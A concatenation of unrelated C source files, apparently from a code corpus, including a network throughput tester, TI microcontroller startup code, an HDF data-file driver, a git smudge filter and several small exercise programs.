memset(&listenaddr, 0, sizeof(listenaddr)); listenaddr.sin6_family = AF_INET6; listenaddr.sin6_port = htons(SERVER_PORT); if (bind(sock, (struct sockaddr *)&listenaddr, sizeof(listenaddr)) != 0) { perror("bind"); return 1; } socklen_t addrlen = sizeof(listenaddr); if (getsockname(sock, (struct sockaddr *)&listenaddr, &addrlen) != 0) { perror("getsockname"); return 1; } if (cong_ctl && set_cong_ctl(sock, cong_ctl) != 0) { return 1; } if (listen(sock, 1)) { perror("listen"); return 1; } fprintf(stderr, "server listening at %s\n", sockaddr_to_str((struct sockaddr *)&listenaddr)); int numchildren = 0; while (!want_to_die) { int nfds; if (numchildren < max_children) { nfds = do_select(sock, numchildren ? 1000*1000 : -1); } else { if (waitpid(-1, NULL, 0) > 0) { numchildren--; } nfds = 0; } while (waitpid(-1, NULL, WNOHANG) > 0) { numchildren--; } if (nfds > 0) { remoteaddr_len = sizeof(remoteaddr); int conn = accept(sock, (struct sockaddr *)&remoteaddr, &remoteaddr_len); if (conn < 0) { perror("accept"); continue; } if (cong_ctl && set_cong_ctl(conn, cong_ctl) != 0) { return 1; } pid_t pid = fork(); if (pid < 0) { perror("fork"); if (nanosleep(&second, NULL)) { perror("nanosleep"); exit(99); } close(conn); } else if (pid > 0) { // parent close(conn); numchildren++; } else { // child close(sock); run_server(conn, &remoteaddr, remoteaddr_len); fprintf(stderr, "client disconnected.\n"); _exit(0); } } } } else if (argc - optind == 1) { fprintf(stderr, "client mode.\n"); if (cong_ctl) { fprintf(stderr, "%s: can't set congestion control in client mode.\n", argv[0]); usage_and_die(argv[0]); } if (!megabits_per_sec) { fprintf(stderr, "%s: must specify -b in client mode\n", argv[0]); usage_and_die(argv[0]); } if (timeout > 0) { alarm(timeout); } const char *remotename = argv[optind]; return run_client(remotename, ifr_name, megabits_per_sec, sufficient); } else { // wrong number of arguments usage_and_die(argv[0]); } if (sock >= 0) close(sock); return 0; }

the_stack_data/90766702.c

#include <stdio.h> #include <string.h> int x=1; void user_memcpy(unsigned char* dest, unsigned char *src, size_t n) { while (n > 0) { *dest = *src; src += 1; dest += 1; n -= 1; } } int main() { int *p = &x; int *q; user_memcpy((unsigned char*)&q, (unsigned char*)&p, sizeof(int *)); *q = 11; // is this free of undefined behaviour? printf("*p=%d *q=%d\n",*p,*q); }

the_stack_data/243892997.c

/* <TAGS>file </TAGS> DESCRIPTION: Read a binary SCORE record (RAW file format) containing a header and continuously sampled 8-bit data (EEG, LFP) Assumes data is stored as unsigned characters This version reads a single SCORE raw record, storing but not processing the header and the data USES: DEPENDENCY TREE: No dependencies ARGUMENTS: FILE *fpin : pointer to input stream char *header : pre-allocated array to hold the block header size_t nheader : number of bytes (characters) in the header (typically 35) unsigned char *data : pre-allocated array to hold the block data size_t ndata : number of data bytes to read (sample-frequency x numbers-in-record x 1) char *message : character array to hold messages, error-related or otherwise. RETURN VALUE: 0: success -1: failure SAMPLE CALL: char message[1000], header[35], infile[256]; int samplefreq=400, duration=10, ndata=samplefreq*duration; while(!feof(fpin)) { x= xf_readscore_raw1(fpin,header,nheader,data,ndata,data,message); if(x<0) {fprintf(stderr,"\n\t--- %s/%s\n\n",thisprog,message); exit(1);) } */ #include <stdio.h> #include <stdlib.h> #include <string.h> int xf_readscore_raw1(FILE *fpin, char *header, size_t nheader, unsigned char *data, size_t ndata, char *message) { char *thisfunc="xf_readscore_raw1\0"; size_t nread; /********************************************************************************/ /* READ HEADER */ /********************************************************************************/ nread= fread(header,1,nheader,fpin); /* failure to read any bytes does not indicate a corrupt file - merely the end of file has been reached */ if(nread==0) return(0); /* however if a portion of a header has been read, something is clearly wrong */ else if(nread<nheader){ sprintf(message,"%s [ERROR]: bad header: less than the expected %ld bytes read",thisfunc,nheader); return(-1); } /********************************************************************************/ /* READ DATA BLOCK */ /********************************************************************************/ nread = fread(data,1,ndata,fpin); /* if an entire data block has not been read, given that a header HAS been already read on this call, there must be a problem*/ if(nread!=ndata){ sprintf(message,"%s [ERROR]: bad block: only %ld of expected %ld bytes read",thisfunc,nread,ndata); return(-1); } return(0); }

the_stack_data/37569.c

//***************************************************************************** // // startup_gcc.c - Startup code for use with GNU tools. // // Copyright (c) 2010-2012 Texas Instruments Incorporated. All rights reserved. // Software License Agreement // // Texas Instruments (TI) is supplying this software for use solely and // exclusively on TI's microcontroller products. The software is owned by // TI and/or its suppliers, and is protected under applicable copyright // laws. You may not combine this software with "viral" open-source // software in order to form a larger program. // // THIS SOFTWARE IS PROVIDED "AS IS" AND WITH ALL FAULTS. // NO WARRANTIES, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING, BUT // NOT LIMITED TO, IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE APPLY TO THIS SOFTWARE. TI SHALL NOT, UNDER ANY // CIRCUMSTANCES, BE LIABLE FOR SPECIAL, INCIDENTAL, OR CONSEQUENTIAL // DAMAGES, FOR ANY REASON WHATSOEVER. // // This is part of revision 8555 of the EK-LM3S9B90 Firmware Package. // //***************************************************************************** //***************************************************************************** // // Forward declaration of the default fault handlers. // //***************************************************************************** void ResetISR(void); static void NmiSR(void); static void FaultISR(void); static void IntDefaultHandler(void); //***************************************************************************** // // External declarations for the interrupt handlers used by the application. // //***************************************************************************** extern void GPIOAIntHandler(void); extern void Timer0AIntHandler(void); extern void Timer0BIntHandler(void); //***************************************************************************** // // The entry point for the application. // //***************************************************************************** extern int main(void); //***************************************************************************** // // Reserve space for the system stack. // //***************************************************************************** static unsigned long pulStack[64]; //***************************************************************************** // // The vector table. Note that the proper constructs must be placed on this to // ensure that it ends up at physical address 0x0000.0000. // //***************************************************************************** __attribute__ ((section(".isr_vector"))) void (* const g_pfnVectors[])(void) = { (void (*)(void))((unsigned long)pulStack + sizeof(pulStack)), // The initial stack pointer ResetISR, // The reset handler NmiSR, // The NMI handler FaultISR, // The hard fault handler IntDefaultHandler, // The MPU fault handler IntDefaultHandler, // The bus fault handler IntDefaultHandler, // The usage fault handler 0, // Reserved 0, // Reserved 0, // Reserved 0, // Reserved IntDefaultHandler, // SVCall handler IntDefaultHandler, // Debug monitor handler 0, // Reserved IntDefaultHandler, // The PendSV handler IntDefaultHandler, // The SysTick handler GPIOAIntHandler, // GPIO Port A IntDefaultHandler, // GPIO Port B IntDefaultHandler, // GPIO Port C IntDefaultHandler, // GPIO Port D IntDefaultHandler, // GPIO Port E IntDefaultHandler, // UART0 Rx and Tx IntDefaultHandler, // UART1 Rx and Tx IntDefaultHandler, // SSI0 Rx and Tx IntDefaultHandler, // I2C0 Master and Slave IntDefaultHandler, // PWM Fault IntDefaultHandler, // PWM Generator 0 IntDefaultHandler, // PWM Generator 1 IntDefaultHandler, // PWM Generator 2 IntDefaultHandler, // Quadrature Encoder 0 IntDefaultHandler, // ADC Sequence 0 IntDefaultHandler, // ADC Sequence 1 IntDefaultHandler, // ADC Sequence 2 IntDefaultHandler, // ADC Sequence 3 IntDefaultHandler, // Watchdog timer Timer0AIntHandler, // Timer 0 subtimer A Timer0BIntHandler, // Timer 0 subtimer B IntDefaultHandler, // Timer 1 subtimer A IntDefaultHandler, // Timer 1 subtimer B IntDefaultHandler, // Timer 2 subtimer A IntDefaultHandler, // Timer 2 subtimer B IntDefaultHandler, // Analog Comparator 0 IntDefaultHandler, // Analog Comparator 1 IntDefaultHandler, // Analog Comparator 2 IntDefaultHandler, // System Control (PLL, OSC, BO) IntDefaultHandler, // FLASH Control IntDefaultHandler, // GPIO Port F IntDefaultHandler, // GPIO Port G IntDefaultHandler, // GPIO Port H IntDefaultHandler, // UART2 Rx and Tx IntDefaultHandler, // SSI1 Rx and Tx IntDefaultHandler, // Timer 3 subtimer A IntDefaultHandler, // Timer 3 subtimer B IntDefaultHandler, // I2C1 Master and Slave IntDefaultHandler, // Quadrature Encoder 1 IntDefaultHandler, // CAN0 IntDefaultHandler, // CAN1 IntDefaultHandler, // CAN2 IntDefaultHandler, // Ethernet IntDefaultHandler, // Hibernate IntDefaultHandler, // USB0 IntDefaultHandler, // PWM Generator 3 IntDefaultHandler, // uDMA Software Transfer IntDefaultHandler, // uDMA Error IntDefaultHandler, // ADC1 Sequence 0 IntDefaultHandler, // ADC1 Sequence 1 IntDefaultHandler, // ADC1 Sequence 2 IntDefaultHandler, // ADC1 Sequence 3 IntDefaultHandler, // I2S0 IntDefaultHandler, // External Bus Interface 0 IntDefaultHandler // GPIO Port J }; //***************************************************************************** // // The following are constructs created by the linker, indicating where the // the "data" and "bss" segments reside in memory. The initializers for the // for the "data" segment resides immediately following the "text" segment. // //***************************************************************************** extern unsigned long _etext; extern unsigned long _data; extern unsigned long _edata; extern unsigned long _bss; extern unsigned long _ebss; //***************************************************************************** // // This is the code that gets called when the processor first starts execution // following a reset event. Only the absolutely necessary set is performed, // after which the application supplied entry() routine is called. Any fancy // actions (such as making decisions based on the reset cause register, and // resetting the bits in that register) are left solely in the hands of the // application. // //***************************************************************************** void ResetISR(void) { unsigned long *pulSrc, *pulDest; // // Copy the data segment initializers from flash to SRAM. // pulSrc = &_etext; for(pulDest = &_data; pulDest < &_edata; ) { *pulDest++ = *pulSrc++; } // // Zero fill the bss segment. // __asm(" ldr r0, =_bss\n" " ldr r1, =_ebss\n" " mov r2, #0\n" " .thumb_func\n" "zero_loop:\n" " cmp r0, r1\n" " it lt\n" " strlt r2, [r0], #4\n" " blt zero_loop"); // // Call the application's entry point. // main(); } //***************************************************************************** // // This is the code that gets called when the processor receives a NMI. This // simply enters an infinite loop, preserving the system state for examination // by a debugger. // //***************************************************************************** static void NmiSR(void) { // // Enter an infinite loop. // while(1) { } } //***************************************************************************** // // This is the code that gets called when the processor receives a fault // interrupt. This simply enters an infinite loop, preserving the system state // for examination by a debugger. // //***************************************************************************** static void FaultISR(void) { // // Enter an infinite loop. // while(1) { } } //***************************************************************************** // // This is the code that gets called when the processor receives an unexpected // interrupt. This simply enters an infinite loop, preserving the system state // for examination by a debugger. // //***************************************************************************** static void IntDefaultHandler(void) { // // Go into an infinite loop. // while(1) { } }

the_stack_data/1186109.c

/* -*-Mode: C;-*- * Module: cdunif HDF driver functions * * Copyright: 1994, Regents of the University of California * This software may not be distributed to others without * permission of the author. * * Author: Dean N. Williams, Lawrence Livermore National Laboratory * [email protected] * * Version: cdunifnc.c,v 1.4 1996/06/12 22:35:55 williams Exp * * Revision History: * * cdunifnc.c,v * Revision 1.4 1996/06/19 22:35:55 williams * - Added HDF * * Revision 1.3 1995/06/09 22:35:55 drach * - Made grads error string length consistent * - Allow null return parameters for netCDF files * * Revision 1.2 1995/03/30 00:20:41 drach * Allow 99 as a valid lu * * Revision 1.1 1995/03/09 00:30:36 drach * Added netCDF (no mods to cdunif.c in this version) * * */ /* The mapping of index model from cdunif to HDF is a follows: - cdunif varid corresponds to HDF sds_index, an integer (0..nvars-1) - cdunif dimid corresponds to HDF dimid, but HDF dimids are not numbered 0..ndims-1, as are cdunif dimids. The mapping is done by cudimid2hdf. The assumption is that HDF dimids are consecutive integers in the range minid..maxid. min HDF dimension ID is stored in file->internid2. number of HDF dimensions is stored in file->ndims. All HDF dimensions are treated as global, that is, they can be shared by variables. The SD interface ID returned by SDstart is stored in file->internid1. */ #ifdef hdf #include "cdunifint.h" #include "hdf.h" /* Should follow cdunifint.h to */ /* get the HDF defs for MAX_NC_XXX */ /* Map cdunif dimid (0 .. file->ndims-1) to HDF dimid */ int32 cudimid2hdf(CuFile* file, int dimid){ if(dimid<0 || dimid>=file->ndims){ CuError(CU_EBADDIM,"File %s, dimension ID %d",file->controlpath, dimid); return -1; } return (int32)(file->internid2 + dimid); } /* Open and read the HDF file. Return the file ID if successful, or * report error and send back failure status (-1). */ int cuopenread_hdf(const char* controlpath, const char* datapath){ CuFile* file; int32 cdfid; int nvars=0, natts=0; int varid, ndims, dimidx, maxdim, mindim; int32 dimid, sds_id; CuDim *dim; /* Open the HDF file. DFACC_RDONLY is defined in hdf.h. */ if ((cdfid=SDstart(controlpath, DFACC_RDONLY))==-1) { CuError(CU_EOPEN,"Opening HDF file %s",controlpath); cuerrorreport_hdf(); return -1; } /* Make sure there is a scientific dataset */ SDfileinfo(cdfid, &nvars, &natts); if (nvars==0 && natts==0){ CuError(CU_EOPEN,"HDF file %s does not contain any scientific datasets",controlpath); cuerrorreport_hdf(); return -1; } if((file = CuCreateFile(CuHdf))==(CuFile*)0){ return -1; } /* Set the file path and file ID */ strncpy(file->controlpath,controlpath,CU_MAX_PATH); file->internid1 = cdfid; /* Set up a mapping of cdunif dimid to HDF dimid: */ /* Go through all the dimensions, find min and max HDF_dimid. */ /* ASSUME THAT DIMENSION IDS ARE CONSECUTIVE NONNEGATIVE NUMBERS. */ /* Store base dimid in file->internid2. */ /* The mapping is 0 --> mindim, 1 --> mindim+1, etc. */ mindim = maxdim = -1; for (varid=0; varid<nvars; varid++){ if (cuvarinq_hdf(file, varid, NULL, NULL, &ndims, NULL, NULL)) return -1; if ((sds_id=SDselect(file->internid1, varid)) == -1) { cuerrorreport_hdf(); return -1; } for (dimidx=0; dimidx<ndims; dimidx++){ if((dimid=SDgetdimid(sds_id, dimidx))==-1){ cuerrorreport_hdf(); return -1; } if (maxdim==-1){ mindim = maxdim = dimid; } else{ mindim = MIN(mindim, dimid); maxdim = MAX(maxdim, dimid); } } } file->internid2 = mindim; file->ndims = maxdim-mindim+1; /* Return file ID */ return file->id; } /* Close the file. Return success (0) if the file was close sucessfully, * or report error and send back failure status (-1). */ int cuclose_hdf(CuFile* file){ /* Dispose of the file identifier to close the file. */ if (SDend(file->internid1) == -1 ) { CuError(CU_EOPEN,"Closing HDF file %s",file->controlpath); cuerrorreport_hdf(); return -1; } /* Return success ( 0 ). */ return CU_SUCCESS; } /* Obtain information about the specific HDF file. * */ int cuinquire_hdf(CuFile* file, int* ngdims, int* nvars, int* natts, int* recdim){ int t_ngdims, t_nvars, t_natts, t_recdim; int dimidx; int32 dimid, datatype, ndattrs; long len; /* Determine the contents of the file. */ if (SDfileinfo(file->internid1, (nvars ? nvars : &t_nvars), /* # of data sets in file */ (natts ? natts : &t_natts)) /* # of global attr. in file */ == -1 ) { CuError(CU_DRIVER,"Determining the contents of the HDF file %s", file->controlpath); cuerrorreport_hdf(); return -1; } if (ngdims) *ngdims = file->ndims; /* Look for an unlimited dimension */ if (recdim) { *recdim = -1; for (dimidx=0; dimidx<file->ndims; dimidx++){ if((dimid=cudimid2hdf(file, dimidx))==-1) return -1; if(SDdiminfo(dimid, NULL, &len, &datatype, &ndattrs)==-1){ cuerrorreport_hdf(); return -1; } if (len==0) *recdim = dimidx; } } /* Return success ( 0 ). */ return CU_SUCCESS; } /* Given the file ID, variable ID, and name of the dimension, return * the dimension ID. */ int cudimid_hdf(CuFile* file, int varid, const char* name){ int32 sds_idx, sds_id; /* Search for the index of the named array data set. */ if ((sds_idx=SDnametoindex(file->internid1, name)) == -1) { CuError(CU_DRIVER,"Obtaining dataset in file %s",file->controlpath); cuerrorreport_hdf(); return -1; } /* Select the data set corresponding to the returned index. */ if ((sds_id=SDselect(file->internid1, sds_idx)) == -1) { CuError(CU_DRIVER,"Obtaining dataset in file %s",file->controlpath); cuerrorreport_hdf(); return -1; } /* Return dimension ID or failure ( -1 ). */ return (SDgetdimid(sds_id, 0) - file->internid2); /* pass back the dimension id */ } /* Get information about the dimension. Return success (0) if the * dimension information was obtained sucessfully, otherwise this * function returns the failure status (-1). */ int cudiminq_hdf(CuFile* file, int dimidx, char* dimname, char* dimunits, CuType* dataType, CuDimType* dimtype, int* varid, long* length){ char dname[H4_MAX_NC_NAME+1]; int cdfid; int dimvarid; /* HDF ID of variable associated with this dimension. */ int found; /* True iff a dimension variable was found. */ int ndims; int get_dimid; int saveopts; long len; hdf_type hdftype, hdfunitstype; int natts; char varname[H4_MAX_NC_NAME+1]; int attlen; int32 sds_id, attr_index, datatype, nattrs; int32 dim_sizes[H4_MAX_VAR_DIMS]; char attr_name[H4_MAX_NC_NAME]; int32 dimid; cdfid = file->internid1; if((dimid = cudimid2hdf(file, dimidx))==-1) return -1; /* Get information about the selected dimension. */ if(SDdiminfo(dimid, dname, &len, &datatype, &nattrs)==-1){ cuerrorreport_hdf(); return -1; } if(dimname) strncpy(dimname,dname,CU_MAX_NAME); if(length) *length = len; /* HDF dimensions are always global */ if(varid) *varid = CU_GLOBAL; if(dimtype) *dimtype = CuGlobalDim; /* Inquire a variable with */ /* - the same name as dimname, */ /* - a single dimension, and */ /* - a dimension name which equals the variable name. */ if((dimvarid = SDnametoindex(cdfid, dname)) != -1){ sds_id = SDselect(cdfid, dimvarid); if (SDgetinfo(sds_id, varname, &ndims, dim_sizes, &hdftype, &natts) == -1){ cuerrorreport_hdf(); return -1; } /* pass back the dimension id */ if ((get_dimid = SDgetdimid(sds_id, 0)) == -1){ cuerrorreport_hdf(); return -1; } found = (ndims == 1 && get_dimid == dimid); } else found = 0; /* If dimension variable was found, */ /* inquire the units attribute (if any) */ if(found){ sds_id = SDselect(cdfid, dimvarid); /* Set the length of an unlimited dimension. */ if (len==0 && length) *length = dim_sizes[0]; /* Find the data set attribute name index. */ attr_index = SDfindattr(sds_id, "units"); /* Get information about the data set attribute. */ if(SDattrinfo(sds_id, attr_index, attr_name, &hdfunitstype, &attlen) != -1 && hdfunitstype == DFNT_CHAR) { if(dimunits && SDreadattr(sds_id, attr_index, dimunits)==-1) return -1; } /* Dimension variable was found, but no character units string */ else{ if(dimunits) strcpy(dimunits,""); } if(dataType) { cumapdatatype_hdf(hdftype, dataType); if (*dataType==CuInvalidType) return -1; } } else{ /* The dimension variable was not found: */ /* return default units and datatype */ if(dimunits) strcpy(dimunits,""); if(dataType) *dataType = CuFloat; } /* Return success ( 0 ). */ return CU_SUCCESS; } /* Get dimension coordinates values. Return success (0) if the * dimension values were obtained sucessfully, otherwise this * function returns the failure status (-1). */ int cudimget_hdf(CuFile* file, int dimidx, void* values){ char dimname[H4_MAX_NC_NAME+1]; float *fp; int cdfid; int get_dimid; int dimvarid; int found; int ndims; int saveopts; long i; long length; long start; char varname[H4_MAX_NC_NAME+1]; hdf_type hdftype; int natts; int32 dimid; int32 sds_id, datatype, nattrs, attr_index, num_type, count; int32 dim_sizes[H4_MAX_VAR_DIMS]; char attr_name[H4_MAX_NC_NAME]; cdfid = file->internid1; if((dimid = cudimid2hdf(file, dimidx))==-1) return -1; /* Get information about the selected dimension. */ if(SDdiminfo(dimid, attr_name, &length, &datatype, &nattrs)==-1){ return -1; } /* Inquire a variable with */ /* - the same name as dimname, */ /* - a single dimension, and */ /* - a (single) dimension id which equals dimid */ if((dimvarid = SDnametoindex(cdfid, attr_name)) != -1){ sds_id = SDselect(cdfid, dimvarid); if (SDgetinfo(sds_id, varname, &ndims, dim_sizes, &hdftype, &natts) == -1){ cuerrorreport_hdf(); return -1; } /* pass back the dimension id */ if ((get_dimid = SDgetdimid(sds_id, 0)) == -1){ cuerrorreport_hdf(); return -1; } found = (ndims == 1 && get_dimid == dimid); } else found = 0; /* If the dimension variable was found, read it */ if(found){ start = 0; if(values && SDgetdimscale(dimid, (VOIDP) values)==-1) return -1; } else{ /* Otherwise assign the default dimension */ if(values){ for(i=0, fp=(float*)values; i<length; i++){ *fp++ = (float)i; } } } /* Return success ( 0 ). */ return CU_SUCCESS; } /* Given the file ID and variable name, return the variable id. * Return success (0) if the variable ID was obtained sucessfully; * otherwise this function returns the failure status (-1). */ int cuvarid_hdf(CuFile* file, const char* name){ int saveopts; int varid; /* The the index of the variable array data set. */ varid = SDnametoindex(file->internid1,name); /* Return variable ID, or failure ( -1 ). */ return varid; } /* Get information about the variable. Return success (0) if the * variable information was obtained sucessfully, otherwise this * function returns the failure status (-1). */ int cuvarinq_hdf(CuFile* file, int varid, char* name, CuType* datatype, int* ndims, int dimids[], int* natts){ int err, i; hdf_type dtype; char t_name[H4_MAX_NC_NAME+1]; int t_ndims, t_natts, numdims; int t_dimids[H4_MAX_VAR_DIMS]; int32 sds_id, index; int32 dim_sizes[H4_MAX_VAR_DIMS]; /* Select the data set corresponding to the returned index. */ sds_id = SDselect(file->internid1, varid); /* Get the variable information. */ if ((err=SDgetinfo(sds_id, (name ? name : t_name), (ndims ? ndims : &t_ndims), dim_sizes, &dtype, (natts ? natts : &t_natts))) != -1) { if(datatype) { cumapdatatype_hdf(dtype,datatype); if (*datatype==CuInvalidType) return -1; } /* Retrieve dimension IDs. */ if (dimids) { numdims = (ndims ? *ndims : t_ndims); for (i=0; i < numdims; ++i) /* reverse the order */ dimids[i] = SDgetdimid (sds_id, i) - file->internid2; } } /* Return variable ID, or failure ( -1 ). */ return (err==-1 ? -1 : CU_SUCCESS); } /* Retrieve the variable values. Return success (0) if the * variable values were obtained sucessfully, otherwise this * function returns the failure status (-1). */ int cuvarget_hdf(CuFile* file, int varid, const long start[], const long count[], void* values){ int32 sds_id, i, ndims; int32 *startvalues, *edges, natts; int32 dim_sizes[H4_MAX_VAR_DIMS]; char name[H4_MAX_NC_NAME+1]; hdf_type dtype; /* Get the identifier for the data set. */ sds_id = SDselect(file->internid1, varid); /* Get the number of dimensions. */ if (SDgetinfo(sds_id, name, &ndims, dim_sizes, &dtype, &natts) == -1) { cuerrorreport_hdf(); return (-1); } /* Define dimension size */ startvalues = (int32 *)malloc((ndims)*sizeof(int32)); edges = (int32 *)malloc((ndims)*sizeof(int32)); for (i = 0; i < ndims; ++i) { startvalues[i] = start[i]; edges[i] = count[i]; } /* Read the data array. */ if (SDreaddata(sds_id, startvalues, NULL, edges, (VOIDP)values) == -1) { cuerrorreport_hdf(); return (-1); } free ((char *) startvalues); free ((char *) edges); /* Return success ( 0 ). */ return (CU_SUCCESS); } /* Given the file ID and variable ID, retrieve information about the * specified attribute. Return success (0) if the attribute information * was obtained sucessfully, otherwise this function returns the failure * status (-1). */ int cuattinq_hdf(CuFile* file, int varid, const char* name, CuType* datatype, int* len){ int err, saveopts; hdf_type dtype; int t_len; int32 sds_id, attr_index; char attr_name[H4_MAX_NC_NAME]; /* Get the identifier for the first data set or file. */ if (varid == CU_GLOBAL) sds_id = file->internid1; else sds_id = SDselect(file->internid1, varid); /* Find the data set attribute name index. */ attr_index = SDfindattr(sds_id, name); /* Get information about the data set attribute. */ if((err = SDattrinfo(sds_id, attr_index, attr_name, &dtype, (len ? len : &t_len))) != -1) if(datatype) { cumapdatatype_hdf(dtype, datatype); if (*datatype==CuInvalidType) return -1; } /* Return success ( 0 ), or failure ( -1 ). */ return (err == -1 ? -1 : CU_SUCCESS); } /* Given the file ID, variable ID, and attribute name, retrieve attribute * values. Return success (0) if the attribute information was obtained * sucessfully, otherwise this function returns the failure status (-1). */ int cuattget_hdf(CuFile* file, int varid, const char* name, void* value){ int32 sds_id, attr_index, num_type, count; int32 status; int8 *buffer; char attr_name[H4_MAX_NC_NAME]; /* Get the identifier for the data set or file. */ if (varid == CU_GLOBAL) sds_id = file->internid1; else sds_id = SDselect(file->internid1, varid); /* Find the data set attribute name index. */ attr_index = SDfindattr(sds_id, name); /* Get information about the data set attribute. */ SDattrinfo(sds_id, attr_index, attr_name, &num_type, &count); /* Read the attribute data and return success ( 0 ), * or failure ( -1 ). */ return (SDreadattr(sds_id, attr_index, value) == -1 ? -1 : CU_SUCCESS); } /* Given the file ID and variable ID, get information about the * data set attribute. */ int cuattname_hdf(CuFile* file, int varid, int attnum, char* name){ int32 sds_id, num_type, count, status; char attr_name[H4_MAX_NC_NAME]; /* Get the identifier for the data set or file. */ if (varid == CU_GLOBAL) sds_id = file->internid1; else sds_id = SDselect(file->internid1, varid); /* Get information about the data set attribute. */ status = SDattrinfo(sds_id, attnum, name, &num_type, &count); /* Return success ( 0 ), or failure ( -1 ). */ return (status == -1 ? -1 : CU_SUCCESS); } /* HDF Error Reporting. At the start of opening the HDF file clear * the HDF error stack. */ void cuseterropts_hdf(int erropts){ HEclear(); /* Clear the HDF error stack. */ return; } /* HDF Error Reporting. If there is an HDF error, then print all the * errors via CuError and clear the HDF error stack. */ void cuerrorreport_hdf() { int32 i=0, e; const char *estr; /* Print all errors stored in the error HDF stack. */ while ((e = HEvalue(i)) != DFE_NONE) { estr = HEstring(e); CuError(CU_DRIVER,"HDF reported error(s) - (%s)", estr); ++i; } HEclear(); /* Clear the HDF error stack. */ } /* Given the HDF data type, return the cdunif data type. */ void cumapdatatype_hdf(hdf_type hdftype, CuType* cutype){ if(cutype==(CuType*)0) return; *cutype = CuInvalidType; switch (hdftype){ case DFNT_INT8: case DFNT_UINT8: *cutype = CuByte; break; case DFNT_CHAR: /* Same as DFNT_CHAR8. */ *cutype = CuChar; break; case DFNT_INT16: /* 16-bit integer type. */ *cutype = CuShort; break; case DFNT_INT32: /* 32-bit integer type. */ *cutype = CuLong; break; case DFNT_FLOAT32: /* 32-bit float type. */ *cutype = CuFloat; break; case DFNT_FLOAT64: /* 64-bit float type. */ *cutype = CuDouble; break; default: CuError(CU_DRIVER,"Unrecognized HDF type %d",(int)hdftype); cuerrorreport_hdf(); break; } return; } #endif

the_stack_data/97012624.c

#include<stdio.h> int main() { int n=1; while(n<=100) { printf("%d\n", n); n++; } return 0; }

the_stack_data/242330148.c

#include <stdio.h> void printPattern (int); void printWhitespaces (int); int main () { int totalLines; printf("How many lines to be printed? -- "); fflush(stdout); scanf("%d", &totalLines); printf("\nYour pattern looks like this:\n"); printf("\n"); printPattern (totalLines); printf("\n"); return 0; } void printPattern (int totalLines) { int whiteSpace, print; for (int i = 1; i <= totalLines; i++) { whiteSpace = (totalLines - i); printWhitespaces (whiteSpace); print = ((2 * i) - 1); for (int j = 1; j <= print; j++) { (i & 1) ? printf ("%2d ", i) : printf (" * "); } printf("\n"); } } void printWhitespaces (int total) { for (int i = 1; i <= total; i++) { printf(" "); } }

the_stack_data/359644.c

#include <stdio.h> #define MAX 500009 int c[MAX],n,m; void update(int x,int deltax); int query(int l,int r); int prefix(int r); int lowbit(int x); void read(void); int main(void) { int i; read(); for(i=0;i<m;++i){ int op,x,y; scanf("%d%d%d",&op,&x,&y); if(op==1){ update(x,y); }else { printf("%d\n",query(x,y)); } } return 0; } void read(void) { int i; scanf("%d%d",&n,&m); for(i=1;i<=n;++i){ int x; scanf("%d",&x); update(i,x); } } int lowbit(int x) { return x&(~x+1); } int query(int l,int r) { return prefix(r)-prefix(l-1); } int prefix(int r) { int ans=0; while(r){ ans+=c[r]; r-=lowbit(r); } return ans; } void update(int x,int deltax) { while(x<=n){ c[x]+=deltax; x+=lowbit(x); } }

the_stack_data/62638850.c

#include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> // only supports int main(int argc, char* argv[]) { FILE *asset; char *path; // todo: use libgit2 to parse git config. char *asset_path = "/Users/chobie/src/assset-san/assets"; char *asset_file; unsigned char buffer[BUFSIZ] = {0}; size_t read, length; long total, written = 0; if (argc != 2) { fprintf(stderr, "git-smudge <file-path>"); exit(-1); } path = argv[1]; //fprintf(stderr, "path: %s", path); asset_file = malloc(strlen(asset_path) + 1 + strlen(path) + 1); sprintf(asset_file, "%s/%s", asset_path, path); asset = fopen(asset_file, "rb"); if (asset) { fprintf(stderr, "copying %s...\n", path); fseek(asset, 0, SEEK_END); total = ftell(asset); fseek(asset, 0, SEEK_SET); //fprintf(stderr, "# found %s\n", asset_file); //fprintf(stderr, " total: %d\n", total); while (total >= written) { read = fread(buffer, 1, sizeof(buffer), asset); //fprintf(stderr, "bytes: %d\n", read); if (read == 0) { break; } length = fwrite(buffer, sizeof(unsigned char), read, stdout); //fprintf(stderr, "length: %d", read); written += length * sizeof(unsigned char); } fclose(stdout); fclose(asset); } else { fprintf(stderr, "# Assets file Not found. use original file."); while (!feof(stdin)) { read = fread(buffer, 1, sizeof(buffer), stdin); //fprintf(stderr, "bytes: %d\n", read); if (read == 0) { break; } fwrite(buffer, sizeof(unsigned char), read, stdout); } } //fprintf(stderr, " written: %d\n", written); free(asset_file); return 0; }

the_stack_data/119416.c

#include <stdio.h> int main() { int n; int i,j; int temp; int star[101]; int end[101]; int cont = 1; while(~scanf("%d",&n)) { cont = 1; if(n == 0) return 0; for(i = 0; i < n; i++) scanf("%d %d",&star[i],&end[i]); for(i = 0; i < n-1; i++) { for(j = 0; j < n-i-1; j++) { if(end[j] > end[j+1]) { temp = end[j]; end[j] = end[j+1]; end[j+1] = temp; temp = star[j]; star[j] = star[j+1]; star[j+1] = temp; } } } j = 0; for(i = 1; i < n; i++) { if(star[i] >= end[j] && end[i] > end[j]) { j = i; cont++; } } printf("%d\n",cont); } }

the_stack_data/154441.c

/* ************************************************ username : smmehrab fullname : s.m.mehrabul islam email : [email protected] institute : university of dhaka, bangladesh session : 2017-2018 ************************************************ */ #include<stdio.h> int main() { int t,n; char s[]="HOSTED",ns[]="NOT HOSTED"; scanf("%d",&t); while(t--){ scanf("%d",&n); if(n==2010 || n==2015 || n==2016 || n==2017 || n==2019) puts(s); else puts(ns); } return 0; }

the_stack_data/159514891.c

